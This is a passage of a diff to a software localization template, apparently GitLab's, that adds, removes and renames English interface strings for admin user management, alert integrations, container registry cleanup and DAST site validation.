+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2257,6 +2248,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2293,6 +2287,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2332,6 +2335,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2341,6 +2353,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2350,6 +2365,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2362,7 +2386,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2575,6 +2605,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2584,9 +2632,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2614,6 +2671,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2626,7 +2689,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2635,27 +2704,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2665,9 +2758,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2677,6 +2767,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2689,6 +2791,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2704,16 +2809,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2818,6 +2944,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2935,9 +3064,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3058,9 +3184,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3094,16 +3217,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3160,6 +3286,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3187,9 +3316,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3220,6 +3346,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3238,6 +3367,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3424,6 +3556,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3490,6 +3628,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3571,6 +3712,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3622,9 +3766,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3676,6 +3817,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3952,6 +4096,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4072,6 +4222,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4360,12 +4513,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4390,6 +4549,12 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4441,6 +4606,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4699,9 +4867,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4729,6 +4894,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4825,6 +4993,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4852,6 +5023,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4885,9 +5062,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5029,6 +5203,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5047,9 +5224,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5116,6 +5290,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5302,12 +5479,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5341,6 +5512,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5509,7 +5683,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5551,10 +5725,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5602,7 +5776,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5611,9 +5785,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5704,6 +5875,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5812,6 +5986,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6070,9 +6247,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6175,6 +6349,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6508,7 +6685,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6850,6 +7027,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6973,9 +7153,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7147,6 +7324,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7171,7 +7351,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7201,6 +7381,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7276,6 +7459,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7285,6 +7477,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7309,7 +7510,16 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7318,6 +7528,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7339,21 +7552,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8143,9 +8365,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8206,6 +8425,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8332,9 +8554,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8383,7 +8602,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8410,9 +8632,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8434,15 +8653,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8476,9 +8695,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8512,64 +8740,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8683,9 +8932,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8710,7 +8956,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8794,9 +9040,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9208,6 +9451,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9226,6 +9472,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9262,6 +9511,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
